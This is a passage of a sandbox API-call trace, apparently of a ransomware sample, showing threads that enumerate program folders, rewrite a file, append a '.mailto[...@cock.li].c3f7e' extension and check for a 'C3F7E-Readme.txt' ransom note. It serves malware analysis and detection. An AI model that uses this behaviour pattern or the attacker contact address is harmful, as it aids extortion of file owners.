	[0073.689] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x27) returned 0x2d780b0
	[0073.689] SetFilePointerEx (in: hFile=0x67c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0073.689] WriteFile (in: hFile=0x67c, lpBuffer=0x2d5af20*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x660f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2d5af20*, lpNumberOfBytesWritten=0x660f7c8*=0x10b, lpOverlapped=0x0) returned 1
	[0076.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5af20) returned 1
	[0076.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77e40) returned 1
	[0076.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a80) returned 1
	[0076.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780b0) returned 1
	[0076.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0076.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781ad0) returned 1
	[0076.513] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0076.514] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0076.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x8e) returned 0x2d78848
	[0076.514] wcscpy (in: _Dest=0x2d78848, _Source="C:\\588bce7c90097ed212\\watermark.bmp" | out: _Dest="C:\\588bce7c90097ed212\\watermark.bmp") returned="C:\\588bce7c90097ed212\\watermark.bmp"
	[0076.514] wcscat (in: _Dest=0x2d78848, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0076.514] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\588bce7c90097ed212\\watermark.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x660f780, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\588bce7c90097ed212\\watermark.bmp.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0076.514] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa4) returned 0x2d616e0
	[0076.514] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d616e0) returned 1
	[0076.514] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e2adf8) returned 1
	[0076.514] NtQueryInformationFile (in: FileHandle=0x67c, IoStatusBlock=0x660f78c, FileInformation=0x660f764, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x660f78c, FileInformation=0x660f764) returned 0x0
	[0076.514] NtSetInformationFile (FileHandle=0x67c, IoStatusBlock=0x660f78c, FileInformation=0x660f764, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0076.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d78848) returned 1
	[0076.515] FlushFileBuffers (hFile=0x67c) returned 1
	[0076.532] CloseHandle (hObject=0x67c) returned 1
	[0076.533] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2d858c0
	[0076.533] wcscpy (in: _Dest=0x2d858c0, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0076.533] wcscat (in: _Dest=0x2d858c0, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\C3F7E-Readme.txt") returned="C:\\588bce7c90097ed212\\C3F7E-Readme.txt"
	[0076.533] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\C3F7E-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\c3f7e-readme.txt")) returned 0x20
	[0076.533] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d858c0) returned 1
	[0076.533] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731190) returned 1

Thread:
	id = 80
	os_tid = 0x12ec

	[0073.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2d734f8
	[0073.686] wcscpy (in: _Dest=0x2d734f8, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files"
	[0073.686] wcscat (in: _Dest=0x2d734f8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\"
	[0073.686] wcscat (in: _Dest=0x2d734f8, _Source="*" | out: _Dest="C:\\Program Files\\Common Files\\*") returned="C:\\Program Files\\Common Files\\*"
	[0073.686] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4719f70
	[0073.686] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x4719f70 | out: lpFindFileData=0x4719f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a2c02c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a2c02c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70c00
	[0073.687] wcscmp (_String1=".", _String2=".") returned 0
	[0073.687] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x4719f70 | out: lpFindFileData=0x4719f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3a2c02c7, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3a2c02c7, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.690] wcscmp (_String1="..", _String2=".") returned 1
	[0073.690] wcscmp (_String1="..", _String2="..") returned 0
	[0073.690] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x4719f70 | out: lpFindFileData=0x4719f70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESIGNER", cAlternateFileName="")) returned 1
	[0073.690] wcscmp (_String1="DESIGNER", _String2=".") returned 1
	[0073.690] wcscmp (_String1="DESIGNER", _String2="..") returned 1
	[0073.690] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x4732af8
	[0073.690] wcscpy (in: _Dest=0x4732af8, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files"
	[0073.690] wcscat (in: _Dest=0x4732af8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\"
	[0073.690] wcscat (in: _Dest=0x4732af8, _Source="DESIGNER" | out: _Dest="C:\\Program Files\\Common Files\\DESIGNER") returned="C:\\Program Files\\Common Files\\DESIGNER"
	[0073.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4732af8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684
	[0073.691] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x4719f70 | out: lpFindFileData=0x4719f70*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1
	[0073.691] wcscmp (_String1="microsoft shared", _String2=".") returned 1
	[0073.691] wcscmp (_String1="microsoft shared", _String2="..") returned 1
	[0073.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5e) returned 0x4733ce0
	[0073.691] wcscpy (in: _Dest=0x4733ce0, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files"
	[0073.691] wcscat (in: _Dest=0x4733ce0, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\"
	[0073.691] wcscat (in: _Dest=0x4733ce0, _Source="microsoft shared" | out: _Dest="C:\\Program Files\\Common Files\\microsoft shared") returned="C:\\Program Files\\Common Files\\microsoft shared"
	[0073.691] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733ce0) returned 1
	[0073.691] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x4719f70 | out: lpFindFileData=0x4719f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1
	[0073.691] wcscmp (_String1="Services", _String2=".") returned 1
	[0073.691] wcscmp (_String1="Services", _String2="..") returned 1
	[0073.691] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4e) returned 0x2d549b8
	[0073.691] wcscpy (in: _Dest=0x2d549b8, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files"
	[0073.691] wcscat (in: _Dest=0x2d549b8, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\"
	[0073.691] wcscat (in: _Dest=0x2d549b8, _Source="Services" | out: _Dest="C:\\Program Files\\Common Files\\Services") returned="C:\\Program Files\\Common Files\\Services"
	[0073.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2d549b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688
	[0073.692] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x4719f70 | out: lpFindFileData=0x4719f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1
	[0073.692] wcscmp (_String1="System", _String2=".") returned 1
	[0073.692] wcscmp (_String1="System", _String2="..") returned 1
	[0073.692] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x4a) returned 0x2d54800
	[0073.692] wcscpy (in: _Dest=0x2d54800, _Source="C:\\Program Files\\Common Files" | out: _Dest="C:\\Program Files\\Common Files") returned="C:\\Program Files\\Common Files"
	[0073.692] wcscat (in: _Dest=0x2d54800, _Source="\\" | out: _Dest="C:\\Program Files\\Common Files\\") returned="C:\\Program Files\\Common Files\\"
	[0073.692] wcscat (in: _Dest=0x2d54800, _Source="System" | out: _Dest="C:\\Program Files\\Common Files\\System") returned="C:\\Program Files\\Common Files\\System"
	[0073.692] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d54800) returned 1
	[0073.692] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x4719f70 | out: lpFindFileData=0x4719f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6b2f060, ftCreationTime.dwHighDateTime=0x1d5a7bd, ftLastAccessTime.dwLowDateTime=0xdf46170, ftLastAccessTime.dwHighDateTime=0x1d5b1ee, ftLastWriteTime.dwLowDateTime=0xdf46170, ftLastWriteTime.dwHighDateTime=0x1d5b1ee, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="thursday philosophy saw.exe", cAlternateFileName="THURSD~1.EXE")) returned 1
	[0073.692] wcscmp (_String1="thursday philosophy saw.exe", _String2=".") returned 1
	[0073.692] wcscmp (_String1="thursday philosophy saw.exe", _String2="..") returned 1
	[0073.692] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x4719f70 | out: lpFindFileData=0x4719f70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6b2f060, ftCreationTime.dwHighDateTime=0x1d5a7bd, ftLastAccessTime.dwLowDateTime=0xdf46170, ftLastAccessTime.dwHighDateTime=0x1d5b1ee, ftLastWriteTime.dwLowDateTime=0xdf46170, ftLastWriteTime.dwHighDateTime=0x1d5b1ee, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="thursday philosophy saw.exe", cAlternateFileName="THURSD~1.EXE")) returned 0
	[0073.692] FindClose (in: hFindFile=0x2d70c00 | out: hFindFile=0x2d70c00) returned 1
	[0073.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4719f70) returned 1
	[0073.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d734f8) returned 1
	[0073.693] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d73228) returned 1

Thread:
	id = 81
	os_tid = 0x12e4

	[0073.694] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x30) returned 0x2d7c068
	[0073.694] wcscpy (in: _Dest=0x2d7c068, _Source="C:\\Program Files\\Java" | out: _Dest="C:\\Program Files\\Java") returned="C:\\Program Files\\Java"
	[0073.694] wcscat (in: _Dest=0x2d7c068, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\") returned="C:\\Program Files\\Java\\"
	[0073.695] wcscat (in: _Dest=0x2d7c068, _Source="*" | out: _Dest="C:\\Program Files\\Java\\*") returned="C:\\Program Files\\Java\\*"
	[0073.695] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d856e0
	[0073.695] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\*", lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3b6b7d9c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b6b7d9c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70c00
	[0073.695] wcscmp (_String1=".", _String2=".") returned 0
	[0073.695] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x3b6b7d9c, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b6b7d9c, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.695] wcscmp (_String1="..", _String2=".") returned 1
	[0073.695] wcscmp (_String1="..", _String2="..") returned 0
	[0073.695] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bac560, ftCreationTime.dwHighDateTime=0x1d56e6b, ftLastAccessTime.dwLowDateTime=0x13182650, ftLastAccessTime.dwHighDateTime=0x1d55fa5, ftLastWriteTime.dwLowDateTime=0x13182650, ftLastWriteTime.dwHighDateTime=0x1d55fa5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fling.exe", cAlternateFileName="")) returned 1
	[0073.695] wcscmp (_String1="fling.exe", _String2=".") returned 1
	[0073.695] wcscmp (_String1="fling.exe", _String2="..") returned 1
	[0073.695] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4306cb0, ftCreationTime.dwHighDateTime=0x1d5981d, ftLastAccessTime.dwLowDateTime=0xd766d780, ftLastAccessTime.dwHighDateTime=0x1d5c775, ftLastWriteTime.dwLowDateTime=0xd766d780, ftLastWriteTime.dwHighDateTime=0x1d5c775, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="icq.exe", cAlternateFileName="")) returned 1
	[0073.695] wcscmp (_String1="icq.exe", _String2=".") returned 1
	[0073.695] wcscmp (_String1="icq.exe", _String2="..") returned 1
	[0073.695] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 1
	[0073.695] wcscmp (_String1="jre1.8.0_144", _String2=".") returned 1
	[0073.695] wcscmp (_String1="jre1.8.0_144", _String2="..") returned 1
	[0073.695] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x4730ba0
	[0073.695] wcscpy (in: _Dest=0x4730ba0, _Source="C:\\Program Files\\Java" | out: _Dest="C:\\Program Files\\Java") returned="C:\\Program Files\\Java"
	[0073.695] wcscat (in: _Dest=0x4730ba0, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\") returned="C:\\Program Files\\Java\\"
	[0073.695] wcscat (in: _Dest=0x4730ba0, _Source="jre1.8.0_144" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144") returned="C:\\Program Files\\Java\\jre1.8.0_144"
	[0073.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4730ba0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c
	[0073.696] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a8c1680, ftCreationTime.dwHighDateTime=0x1d577d4, ftLastAccessTime.dwLowDateTime=0x34158fa0, ftLastAccessTime.dwHighDateTime=0x1d572ab, ftLastWriteTime.dwLowDateTime=0x34158fa0, ftLastWriteTime.dwHighDateTime=0x1d572ab, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe", cAlternateFileName="")) returned 1
	[0073.696] wcscmp (_String1="outlook.exe", _String2=".") returned 1
	[0073.696] wcscmp (_String1="outlook.exe", _String2="..") returned 1
	[0073.696] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a77e40, ftCreationTime.dwHighDateTime=0x1d58699, ftLastAccessTime.dwLowDateTime=0x2d016c30, ftLastAccessTime.dwHighDateTime=0x1d5c0b1, ftLastWriteTime.dwLowDateTime=0x2d016c30, ftLastWriteTime.dwHighDateTime=0x1d5c0b1, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 1
	[0073.696] wcscmp (_String1="pidgin.exe", _String2=".") returned 1
	[0073.696] wcscmp (_String1="pidgin.exe", _String2="..") returned 1
	[0073.696] FindNextFileW (in: hFindFile=0x2d70c00, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1a77e40, ftCreationTime.dwHighDateTime=0x1d58699, ftLastAccessTime.dwLowDateTime=0x2d016c30, ftLastAccessTime.dwHighDateTime=0x1d5c0b1, ftLastWriteTime.dwLowDateTime=0x2d016c30, ftLastWriteTime.dwHighDateTime=0x1d5c0b1, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgin.exe", cAlternateFileName="")) returned 0
	[0073.696] FindClose (in: hFindFile=0x2d70c00 | out: hFindFile=0x2d70c00) returned 1
	[0073.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d856e0) returned 1
	[0073.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7c068) returned 1
	[0073.696] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7be38) returned 1

Thread:
	id = 82
	os_tid = 0x1338

	[0073.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x48) returned 0x4730bf0
	[0073.697] wcscpy (in: _Dest=0x4730bf0, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office"
	[0073.697] wcscat (in: _Dest=0x4730bf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\"
	[0073.697] wcscat (in: _Dest=0x4730bf0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\*") returned="C:\\Program Files\\Microsoft Office\\*"
	[0073.697] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2d856e0
	[0073.697] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\*", lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b7042f9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7042f9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d70bc0
	[0073.698] wcscmp (_String1=".", _String2=".") returned 0
	[0073.698] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b7042f9, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3b7042f9, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0073.698] wcscmp (_String1="..", _String2=".") returned 1
	[0073.698] wcscmp (_String1="..", _String2="..") returned 0
	[0073.698] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84d6778e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9e9425d, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x5ab2f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.xml", cAlternateFileName="APPXMA~1.XML")) returned 1
	[0073.698] wcscmp (_String1="AppXManifest.xml", _String2=".") returned 1
	[0073.698] wcscmp (_String1="AppXManifest.xml", _String2="..") returned 1
	[0073.698] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x66) returned 0x2d54800
	[0073.698] wcscpy (in: _Dest=0x2d54800, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office"
	[0073.698] wcscat (in: _Dest=0x2d54800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\"
	[0073.698] wcscat (in: _Dest=0x2d54800, _Source="AppXManifest.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\AppXManifest.xml") returned="C:\\Program Files\\Microsoft Office\\AppXManifest.xml"
	[0073.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d54800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690
	[0073.699] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x831d63af, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83543a09, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x119, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSystemMetadata.xml", cAlternateFileName="FILESY~1.XML")) returned 1
	[0073.699] wcscmp (_String1="FileSystemMetadata.xml", _String2=".") returned 1
	[0073.699] wcscmp (_String1="FileSystemMetadata.xml", _String2="..") returned 1
	[0073.699] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x2d606c8
	[0073.699] wcscpy (in: _Dest=0x2d606c8, _Source="C:\\Program Files\\Microsoft Office" | out: _Dest="C:\\Program Files\\Microsoft Office") returned="C:\\Program Files\\Microsoft Office"
	[0073.699] wcscat (in: _Dest=0x2d606c8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\") returned="C:\\Program Files\\Microsoft Office\\"
	[0073.699] wcscat (in: _Dest=0x2d606c8, _Source="FileSystemMetadata.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml") returned="C:\\Program Files\\Microsoft Office\\FileSystemMetadata.xml"
	[0073.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d606c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694
	[0073.699] FindNextFileW (in: hFindFile=0x2d70bc0, lpFindFileData=0x2d856e0 | out: lpFindFileData=0x2d856e0*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9e7b530, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa146f18e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda9a8629, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office16", cAlternateFileName="")) returned 1
	[0073.699] wcscmp (_String1="Office16", _String2=".") returned 1
	[0073.699] wcscmp (_String1="Office16", _String2="..") returned 1
	[0073.699] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x56) returned 0x2d77c00
